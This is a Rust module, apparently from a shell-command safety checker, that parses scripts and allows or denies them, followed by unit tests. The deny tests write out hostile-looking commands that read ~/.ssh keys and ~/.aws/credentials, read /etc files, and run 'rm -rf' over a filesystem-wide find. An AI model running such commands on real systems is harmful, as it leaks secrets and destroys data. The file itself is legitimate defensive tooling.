1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7 static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14 static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17const MAX_CLASSIFY_WORK: u32 = 512;
23
24pub(super) struct ClassifyGuard;
28
29impl ClassifyGuard {
30 pub(super) fn enter() -> Option<Self> {
31 if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32 CLASSIFY_WORK.with(|w| w.set(0));
33 }
34 let spent = CLASSIFY_WORK.with(|w| {
35 let n = w.get().saturating_add(1);
36 w.set(n);
37 n
38 });
39 if spent > MAX_CLASSIFY_WORK {
40 return None;
41 }
42 CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43 Some(ClassifyGuard)
44 }
45}
46
47impl Drop for ClassifyGuard {
48 fn drop(&mut self) {
49 let depth = CLASSIFY_DEPTH.with(|d| {
50 let n = d.get().saturating_sub(1);
51 d.set(n);
52 n
53 });
54 if depth == 0 {
62 CLASSIFY_WORK.with(|w| w.set(0));
63 }
64 }
65}
66
67pub(crate) fn charge_classify_work(units: u32) -> bool {
77 CLASSIFY_WORK.with(|w| {
78 let n = w.get().saturating_add(units);
79 w.set(n);
80 n <= MAX_CLASSIFY_WORK
81 })
82}
83
84pub fn command_verdict(input: &str) -> Verdict {
85 let Some(_guard) = ClassifyGuard::enter() else {
86 return Verdict::Denied; };
88 let Some(script) = parse(input) else {
89 return Verdict::Denied;
90 };
91 script_verdict(&script)
92}
93
94pub fn is_safe_command(input: &str) -> bool {
95 command_verdict(input).is_allowed()
96}
97
98thread_local! {
99 static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
103 const { std::cell::RefCell::new(Vec::new()) };
104 static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
109 const { std::cell::RefCell::new(Vec::new()) };
110 static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
113}
114
115const MAX_FUNC_DEPTH: usize = 32;
116
117const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
121
122struct FuncScope;
123impl Drop for FuncScope {
124 fn drop(&mut self) {
125 FUNCTIONS.with(|f| {
126 f.borrow_mut().pop();
127 });
128 }
129}
130
131fn define_function(name: String, body: Script) -> FuncScope {
132 FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
133 FuncScope
134}
135
136fn lookup_function(name: &str) -> Option<Script> {
137 if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
138 return None; }
140 FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
141}
142
143fn poison_function(name: String) {
146 POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
147}
148
149struct ResolveScope;
150impl Drop for ResolveScope {
151 fn drop(&mut self) {
152 RESOLVING.with(|r| {
153 r.borrow_mut().pop();
154 });
155 }
156}
157
158fn begin_resolving(name: &str) -> Option<ResolveScope> {
164 let over_budget = CLASSIFY_WORK.with(|w| {
165 let n = w.get().saturating_add(1);
166 w.set(n);
167 n > MAX_CLASSIFY_WORK
168 });
169 if over_budget {
170 return None;
171 }
172 RESOLVING.with(|r| {
173 let mut stack = r.borrow_mut();
174 if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
175 None
176 } else {
177 stack.push(name.to_string());
178 Some(ResolveScope)
179 }
180 })
181}
182
183fn script_verdict(script: &Script) -> Verdict {
184 walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
185 .into_iter()
186 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
187}
188
189pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
201 let mut running = crate::pathctx::cwd();
202 let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
203 let mut _funcs: Vec<FuncScope> = Vec::new();
204 let mut out = Vec::with_capacity(script.0.len());
205 for stmt in &script.0 {
206 out.push({
207 let _cwd = crate::pathctx::enter_cwd(running.clone());
208 per_stmt(stmt)
209 });
210 let effects = shell_effects(&stmt.pipeline);
211 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
212 if next.is_some() {
213 running = next;
214 } else if effects.cwd {
215 running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
219 }
220 for (name, value) in statement_assignments(&stmt.pipeline) {
221 _vars.push(crate::pathctx::enter_var(name, value));
222 }
223 for name in effects.vars {
227 _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
228 }
229 for name in effects.funcs {
230 poison_function(name);
231 }
232 if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
233 _funcs.push(define_function(name.clone(), body.clone()));
234 }
235 }
236 out
237}
238
239const MAX_CD_SCAN_DEPTH: usize = 16;
242
243#[derive(Default)]
256struct ShellEffects {
257 cwd: bool,
258 vars: Vec<String>,
259 funcs: Vec<String>,
260}
261
262fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
264 let mut out = ShellEffects::default();
265 if let [only] = pipeline.commands.as_slice() {
266 let mut seen = Vec::new();
270 scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
271 }
272 out
273}
274
275fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
276 let Some(depth) = depth.checked_sub(1) else {
277 out.cwd = true; return;
279 };
280 match cmd {
281 Cmd::Simple(s) => {
282 let Some(name) = s.words.first().map(Word::eval) else {
283 return; };
285 if name == "cd" {
286 out.cwd = true;
287 return;
288 }
289 if seen.contains(&name) {
291 return;
292 }
293 if let Some(body) = lookup_function(&name) {
294 seen.push(name);
295 scan_script_effects(&body, depth, seen, out);
296 }
297 }
298 Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
300 Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
301 scan_script_effects(body, depth, seen, out);
302 }
303 Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
304 scan_script_effects(cond, depth, seen, out);
305 scan_script_effects(body, depth, seen, out);
306 }
307 Cmd::If { branches, else_body, .. } => {
308 for b in branches {
309 scan_script_effects(&b.cond, depth, seen, out);
310 scan_script_effects(&b.body, depth, seen, out);
311 }
312 if let Some(e) = else_body {
313 scan_script_effects(e, depth, seen, out);
314 }
315 }
316 Cmd::Case { arms, .. } => {
317 for a in arms {
318 scan_script_effects(&a.body, depth, seen, out);
319 }
320 }
321 }
322}
323
324fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
327 for st in &script.0 {
328 for (name, _) in statement_assignments(&st.pipeline) {
329 out.vars.push(name);
330 }
331 if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
332 out.funcs.push(name.clone());
333 }
334 if let [only] = st.pipeline.commands.as_slice() {
335 scan_effects(only, depth, seen, out);
336 }
337 }
338}
339
340fn cd_target(pipeline: &Pipeline) -> Option<String> {
343 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
344 return None;
345 };
346 if s.words.first()?.eval() != "cd" {
347 return None;
348 }
349 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
350}
351
352fn read_loop_vars(cond: &Script) -> Vec<String> {
357 let [stmt] = cond.0.as_slice() else {
358 return Vec::new();
359 };
360 let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
361 return Vec::new();
362 };
363 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
364 if words.first().map(String::as_str) != Some("read") {
365 return Vec::new();
366 }
367 words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
368}
369
370fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
375 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
376 return Vec::new();
377 };
378 if !s.words.is_empty() {
379 return Vec::new();
380 }
381 s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
382}
383
384fn certain_value(word: &Word) -> String {
388 let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
389 if raw.contains('$') || is_opaque_value(&raw) {
393 UNCERTAIN_VALUE.to_string()
394 } else {
395 raw
396 }
397}
398
399pub(crate) fn is_opaque_value(raw: &str) -> bool {
403 ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
404 .iter()
405 .any(|m| raw.contains(m))
406}
407
408#[cfg(test)]
409pub(crate) fn is_safe_script(script: &Script) -> bool {
410 script_verdict(script).is_allowed()
411}
412
413pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
414 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
415 let mut stream: Option<String> = None;
421 for cmd in &pipeline.commands {
422 let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
423 acc = acc.combine(cmd_verdict(cmd));
424 stream = Some(stage_output_repr(cmd, stream.as_deref()));
425 }
426 acc
427}
428
429const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
434
435fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
440 let Cmd::Simple(s) = cmd else {
441 return UNKNOWN_ITEM.to_string();
442 };
443 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
444 let Some(first) = words.first() else {
445 return UNKNOWN_ITEM.to_string();
446 };
447 let name = Token::from_raw(first.clone()).command_name().to_string();
448 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
449 let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
450 match name.as_str() {
451 "find" | "fd" | "fdfind" => {
459 let roots = find_roots(&args);
460 let base = roots
461 .iter()
462 .max_by_key(|r| {
463 let (read, write) = (
464 crate::engine::resolve::locus::read_locus(r),
465 crate::engine::resolve::locus::write_locus(r),
466 );
467 read.max(write)
468 })
469 .copied()
470 .unwrap_or(".");
471 crate::engine::resolve::locus::traversal_item(base)
479 }
480 "ls" => {
482 if args.contains(&"-d") {
483 worst_arg_repr(&args)
484 } else {
485 "sc_item".to_string()
486 }
487 }
488 "echo" | "printf" => worst_arg_repr(&args),
490 "git" => match args.first() {
492 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
493 _ => UNKNOWN_ITEM.to_string(),
494 },
495 "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
500 "head" | "tail"
501 if !reads_a_file_after_count(&args)
502 && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
503 {
504 through()
505 }
506 "tee" => through(),
508 _ => UNKNOWN_ITEM.to_string(),
509 }
510}
511
512fn reads_a_file(args: &[&str]) -> bool {
518 args.iter().any(|a| {
519 (!a.starts_with('-') && *a != "-")
520 || *a == "--files0-from"
521 || a.starts_with("--files0-from=")
522 })
523}
524
525fn reads_a_file_after_count(args: &[&str]) -> bool {
528 let mut i = 0;
529 while i < args.len() {
530 let a = args[i];
531 if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
532 i += 2; continue;
534 }
535 if a.starts_with('-') || a == "-" {
536 i += 1;
537 continue;
538 }
539 return true; }
541 false
542}
543
544fn source_ok(path: &str) -> bool {
547 crate::engine::resolve::read_content_verdict(path).is_allowed()
548}
549
550fn worst_arg_repr(args: &[&str]) -> String {
553 args.iter()
554 .filter(|a| !a.starts_with('-'))
555 .find(|a| !source_ok(a))
556 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
557}
558
559fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
562 let mut i = 0;
563 while i < args.len() {
564 match args[i] {
565 "-H" | "-L" | "-P" => i += 1,
566 "-D" | "-O" => i += 2,
567 _ => break,
568 }
569 }
570 let mut roots = Vec::new();
571 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
572 roots.push(args[i]);
573 i += 1;
574 }
575 if roots.is_empty() {
576 roots.push(".");
577 }
578 roots
579}
580
581pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
582 pipeline_verdict(pipeline).is_allowed()
583}
584
585pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
586 match cmd {
587 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
588 _ => true,
589 }
590}
591
592fn has_any_substitution(cmd: &SimpleCmd) -> bool {
593 cmd.words.iter().any(has_substitution)
594 || cmd.env.iter().any(|(_, v)| has_substitution(v))
595}
596
597pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
628 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
629 for (name, value) in &cmd.env {
630 let value = value.eval();
631 if value.chars().any(char::is_whitespace) {
632 return None;
633 }
634 parts.push(format!("{name}={value}"));
635 }
636 parts.extend(cmd.words.iter().map(|w| w.eval()));
637 Some(parts.join(" "))
638}
639
640pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
641 match cmd {
642 Cmd::Simple(s) => simple_verdict(s),
643 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
644 let body_v = script_verdict(body);
645 if let Verdict::Denied = body_v {
646 return Verdict::Denied;
647 }
648 let redir_v = redirect_verdict(redirs);
649 if let Verdict::Denied = redir_v {
650 return Verdict::Denied;
651 }
652 body_v.combine(redir_v)
653 }
654 Cmd::For { var, items, body, redirs } => {
655 let redir_v = redirect_verdict(redirs);
656 if let Verdict::Denied = redir_v {
657 return Verdict::Denied;
658 }
659 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
663 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
664 Some((read_repr, write_repr)) => {
665 let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
666 script_verdict(body)
667 }
668 None => script_verdict(body),
669 };
670 words_sub_verdict(items).combine(body_v).combine(redir_v)
671 }
672 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
673 let redir_v = redirect_verdict(redirs);
674 if let Verdict::Denied = redir_v {
675 return Verdict::Denied;
676 }
677 let cond_v = script_verdict(cond);
678 let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
683 Some(repr) => read_loop_vars(cond)
684 .into_iter()
685 .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
686 .collect(),
687 None => Vec::new(),
688 };
689 cond_v.combine(script_verdict(body)).combine(redir_v)
690 }
691 Cmd::If {
692 branches,
693 else_body,
694 redirs,
695 } => {
696 let redir_v = redirect_verdict(redirs);
697 if let Verdict::Denied = redir_v {
698 return Verdict::Denied;
699 }
700 let mut v = redir_v;
701 for b in branches {
702 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
703 }
704 if let Some(eb) = else_body {
705 v = v.combine(script_verdict(eb));
706 }
707 v
708 }
709 Cmd::DoubleBracket { words, redirs } => {
710 words_sub_verdict(words).combine(redirect_verdict(redirs))
711 }
712 Cmd::Case { subject, arms, redirs } => {
716 let redir_v = redirect_verdict(redirs);
717 if let Verdict::Denied = redir_v {
718 return Verdict::Denied;
719 }
720 let mut v = redir_v.combine(word_sub_verdict(subject));
721 for arm in arms {
722 v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
723 }
724 v
725 }
726 Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
730 }
731}
732
733pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
734 cmd_verdict(cmd).is_allowed()
735}
736
737fn part_sub_verdict(part: &WordPart) -> Verdict {
738 match part {
739 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
740 WordPart::Backtick(raw) => command_verdict(raw),
741 WordPart::DQuote(inner) => word_sub_verdict(inner),
742 WordPart::Arith(inner) => word_sub_verdict(inner),
744 _ => Verdict::Allowed(SafetyLevel::Inert),
745 }
746}
747
748fn word_sub_verdict(word: &Word) -> Verdict {
749 word.0.iter()
750 .map(part_sub_verdict)
751 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
752}
753
754fn words_sub_verdict(words: &[Word]) -> Verdict {
755 words.iter()
756 .map(word_sub_verdict)
757 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
758}
759
760#[cfg(test)]
761pub(crate) fn word_subs_safe(word: &Word) -> bool {
762 word_sub_verdict(word).is_allowed()
763}
764
765fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
766 let redir_v = redirect_verdict(&cmd.redirs);
767 if let Verdict::Denied = redir_v {
768 return Verdict::Denied;
769 }
770
771 let env_sub_v = cmd.env.iter()
772 .map(|(_, v)| word_sub_verdict(v))
773 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
774 let word_sub_v = words_sub_verdict(&cmd.words);
775
776 let env_name_v = cmd
786 .env
787 .iter()
788 .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
789 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
790 let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
791
792 if let Verdict::Denied = sub_v {
793 return Verdict::Denied;
794 }
795
796 if cmd.words.is_empty() {
797 if cmd.env.is_empty() {
798 return Verdict::Allowed(SafetyLevel::Inert);
799 }
800 return sub_v.combine(redir_v);
801 }
802
803 let name = cmd.words[0].eval();
804
805 if let Some(body) = lookup_function(&name) {
813 let Some(_resolving) = begin_resolving(&name) else {
814 return Verdict::Denied;
815 };
816 let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
817 .iter()
818 .enumerate()
819 .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
820 .collect();
821 return sub_v.combine(script_verdict(&body)).combine(redir_v);
822 }
823
824 if name == "eval" {
825 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
826 }
827
828 let tokens: Vec<Token> =
831 cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
832 if tokens.is_empty() {
833 return Verdict::Allowed(SafetyLevel::Inert);
834 }
835 if smuggles_a_flag(cmd) {
836 return Verdict::Denied;
837 }
838
839 let cmd_v = leaf_verdict(&tokens);
840 sub_v.combine(cmd_v).combine(redir_v)
841}
842
843fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
866 cmd.words.iter().skip(1).any(|w| {
867 w.0.iter().any(|part| {
869 let WordPart::Lit(raw) = part else { return false };
870 if !raw.contains('$') {
871 return false;
872 }
873 let expanded = crate::pathctx::expand_vars(raw, false);
874 expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
875 || (expanded.split([' ', '\t', '\n']).count() > 1
876 && expanded.starts_with('-'))
877 })
878 })
879}
880
881fn leaf_verdict(tokens: &[Token]) -> Verdict {
885 let legacy = handlers::dispatch(tokens);
886 crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
887}
888
889fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
890 if cmd.words.len() < 2 {
891 return Verdict::Denied;
892 }
893 for arg in &cmd.words[1..] {
894 if !arg_is_eval_safe(arg) {
895 return Verdict::Denied;
896 }
897 }
898 Verdict::Allowed(SafetyLevel::Inert)
899}
900
901fn arg_is_eval_safe(word: &Word) -> bool {
902 let mut found_safe = false;
903 for part in &word.0 {
904 match part {
905 WordPart::Lit(s) | WordPart::SQuote(s) => {
906 if !s.chars().all(char::is_whitespace) {
907 return false;
908 }
909 }
910 WordPart::Escape(c) => {
911 if !c.is_whitespace() {
912 return false;
913 }
914 }
915 WordPart::CmdSub(script) => {
916 if !script_yields_eval_safe(script) {
917 return false;
918 }
919 found_safe = true;
920 }
921 WordPart::Backtick(raw) => {
922 let Some(script) = parse(raw) else {
923 return false;
924 };
925 if !script_yields_eval_safe(&script) {
926 return false;
927 }
928 found_safe = true;
929 }
930 WordPart::DQuote(inner) => {
931 if !arg_is_eval_safe(inner) {
932 return false;
933 }
934 if has_substitution(inner) {
935 found_safe = true;
936 }
937 }
938 WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
939 }
940 }
941 found_safe
942}
943
944fn script_yields_eval_safe(script: &Script) -> bool {
945 if script.0.len() != 1 {
946 return false;
947 }
948 let stmt = &script.0[0];
949 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
950 return false;
951 }
952 let pipeline = &stmt.pipeline;
953 if pipeline.bang || pipeline.commands.len() != 1 {
954 return false;
955 }
956 let Cmd::Simple(s) = &pipeline.commands[0] else {
957 return false;
958 };
959 if !s.env.is_empty() {
960 return false;
961 }
962 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
968 return false;
969 }
970 for w in &s.words {
971 if !word_is_plain_literal(w) {
972 return false;
973 }
974 }
975 let tokens: Vec<Token> =
976 s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
977 if tokens.is_empty() {
978 return false;
979 }
980 crate::registry::is_eval_safe_invocation(&tokens)
981}
982
983fn word_is_plain_literal(word: &Word) -> bool {
996 word.0.iter().all(part_is_plain_literal)
997}
998
999fn part_is_plain_literal(part: &WordPart) -> bool {
1000 match part {
1001 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
1002 WordPart::Escape(c) => is_bare_literal_char(*c),
1003 WordPart::DQuote(inner) => word_is_plain_literal(inner),
1004 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
1005 }
1006}
1007
1008fn is_bare_literal_char(c: char) -> bool {
1014 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
1015}
1016
1017pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
1033 redirect_verdict(redirs).is_allowed()
1034}
1035
1036fn is_safe_write_target(path: &str) -> bool {
1043 crate::engine::resolve::write_target_verdict(path).is_allowed()
1044}
1045
1046fn write_face(target: &Word) -> Verdict {
1048 let t = target.eval();
1049 if t == "/dev/null" {
1050 Verdict::Allowed(SafetyLevel::Inert)
1052 } else if is_safe_write_target(&t) {
1053 Verdict::Allowed(SafetyLevel::SafeWrite)
1054 } else {
1055 Verdict::Denied
1056 }
1057}
1058
1059fn read_face(target: &Word) -> Verdict {
1063 let t = target.eval();
1064 if is_opaque_value(&t) {
1068 Verdict::Denied
1069 } else {
1070 crate::engine::resolve::read_content_verdict(&t)
1071 }
1072}
1073
1074pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1075 let mut level = Verdict::Allowed(SafetyLevel::Inert);
1076 for r in redirs {
1077 match r {
1078 Redir::Write { target, .. } => {
1079 level = level.combine(word_sub_verdict(target));
1080 level = level.combine(write_face(target));
1081 }
1082 Redir::Read { target, .. } => {
1083 level = level.combine(word_sub_verdict(target));
1084 level = level.combine(read_face(target));
1085 }
1086 Redir::ReadWrite { target, .. } => {
1090 level = level.combine(word_sub_verdict(target));
1091 level = level.combine(write_face(target));
1092 level = level.combine(read_face(target));
1093 }
1094 Redir::HereStr(word) => {
1095 level = level.combine(word_sub_verdict(word));
1096 }
1097 Redir::HereDoc { body, .. } => {
1101 level = level.combine(word_sub_verdict(body));
1102 }
1103 Redir::DupFd { .. } => {}
1104 }
1105 }
1106 level
1107}
1108
1109fn has_substitution(word: &Word) -> bool {
1110 word.0.iter().any(|p| match p {
1111 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1112 WordPart::DQuote(inner) => has_substitution(inner),
1113 _ => false,
1114 })
1115}
1116
1117#[cfg(test)]
1118mod tests {
1119 use super::*;
1120
1121 fn check(cmd: &str) -> bool {
1122 is_safe_command(cmd)
1123 }
1124
1125 #[test]
1126 fn loop_variable_inherits_the_list_locus() {
1127 for cmd in [
1130 "for f in *.txt; do cat $f; done",
1131 "for f in *.txt; do rm $f; done",
1132 "for f in src/*.rs; do grep foo $f; done",
1133 "for f in *.log; do sed -i s/a/b/ $f; done",
1134 "for f in a b c; do cat $f.bak; done",
1135 "for x in 1 2 3; do rm $x; done",
1136 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
1138 assert!(check(cmd), "worktree loop should allow: {cmd}");
1139 }
1140 for cmd in [
1142 "for f in /etc/*; do cat $f; done",
1143 "for f in /etc/*.conf; do rm $f; done",
1144 "for f in ~/.ssh/*; do cat $f; done",
1145 "for f in $LIST; do rm $f; done",
1146 "for f in $(find / -name x); do rm -rf $f; done",
1147 "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1149 "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1152 ] {
1153 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1154 }
1155 }
1156
1157 safe! {
1158 grep_foo: "grep foo file.txt",
1159 jq_key: "jq '.key' file.json",
1160 base64_d: "base64 -d",
1161 ls_la: "ls -la",
1162 wc_l: "wc -l file.txt",
1163 ps_aux: "ps aux",
1164 echo_hello: "echo hello",
1165 cat_file: "cat file.txt",
1166
1167 version_go: "go --version",
1168 version_cargo: "cargo --version",
1169 version_cargo_redirect: "cargo --version 2>&1",
1170 help_cargo: "cargo --help",
1171 help_cargo_build: "cargo build --help",
1172
1173 dev_null_echo: "echo hello > /dev/null",
1174 dev_null_stderr: "echo hello 2> /dev/null",
1175 dev_null_append: "echo hello >> /dev/null",
1176 dev_null_git_log: "git log > /dev/null 2>&1",
1177 fd_redirect_ls: "ls 2>&1",
1178 stdin_dev_null: "git log < /dev/null",
1179
1180 env_prefix: "FOO='bar baz' ls -la",
1181 env_prefix_dq: "FOO=\"bar baz\" ls -la",
1182 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1183
1184 subst_echo_ls: "echo $(ls)",
1185 subst_ls_pwd: "ls `pwd`",
1186 subst_nested: "echo $(echo $(ls))",
1187 subst_quoted: "echo \"$(ls)\"",
1188 assign_subst_ls: "out=$(ls)",
1189 assign_subst_git: "out=$(git status)",
1190 assign_subst_multiple: "a=$(ls) b=$(pwd)",
1191 assign_subst_backtick: "out=`ls`",
1192
1193 assign_bare_lit: "foo=bar",
1194 assign_bare_int: "x=1",
1195 assign_bare_empty: "x=",
1196 assign_bare_dq: "x=\"foo bar\"",
1197 assign_bare_sq: "x='foo bar'",
1198 assign_bare_param: "rc=$?",
1199 assign_bare_var: "x=$y",
1200 assign_bare_dollar_var_braced: "x=${y}",
1201 assign_bare_path: "PATH=/foo",
1202 assign_bare_multiple: "a=1 b=2 c=3",
1203 assign_bare_arith: "x=$((1 + 2))",
1204 assign_in_for_body: "for i in 1 2; do x=1; done",
1205 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1206 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1207 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1208 assign_then_use: "x=1; echo $x",
1209 assign_chained_with_safe: "x=1 && ls",
1210 assign_subshell: "(x=1)",
1211 assign_in_subshell_with_cmd: "(x=1; ls)",
1212
1213 loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1218 loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1219 loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1220 loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1221 loop_over_pwd: "for f in $(pwd); do cat $f; done",
1222
1223 case_single_arm: "case x in x) echo a;; esac",
1224 case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1225 case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1226 case_last_arm_without_terminator: "case x in x) echo a; esac",
1227 case_empty_body: "case x in x) ;; esac",
1228 case_multiline: "case \"$1\" in\n start)\n ls -la\n ;;\n *)\n echo usage\n ;;\nesac",
1229 case_in_substitution: "echo $(case A in *) echo a;; esac)",
1230 case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1231 clobber_redirect: "ls >| out.txt",
1232 clobber_redirect_fd: "ls 1>| out.txt",
1233 readwrite_redirect: "ls <> f.txt",
1234 readwrite_redirect_devnull: "ls <> /dev/null",
1235
1236 subshell_echo: "(echo hello)",
1237 subshell_ls: "(ls)",
1238 subshell_chain: "(ls && echo done)",
1239 subshell_pipe: "(ls | grep foo)",
1240 subshell_nested: "((echo hello))",
1241 subshell_for: "(for x in 1 2; do echo $x; done)",
1242
1243 pipe_grep_head: "grep foo file.txt | head -5",
1244 pipe_cat_sort_uniq: "cat file | sort | uniq",
1245 chain_ls_echo: "ls && echo done",
1246 semicolon_ls_echo: "ls; echo done",
1247 bg_ls_echo: "ls & echo done",
1248 newline_echo_echo: "echo foo\necho bar",
1249
1250 stdin_read_from_path: "wc -l < /tmp/foo.log",
1251 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1252 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1253
1254 here_string_grep: "grep -c , <<< 'hello,world,test'",
1255 heredoc_cat: "cat <<EOF\nhello world\nEOF",
1256 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1257 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1258 heredoc_no_content: "cat <<EOF",
1259 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1260
1261 for_echo: "for x in 1 2 3; do echo $x; done",
1262 for_empty_body: "for x in 1 2 3; do; done",
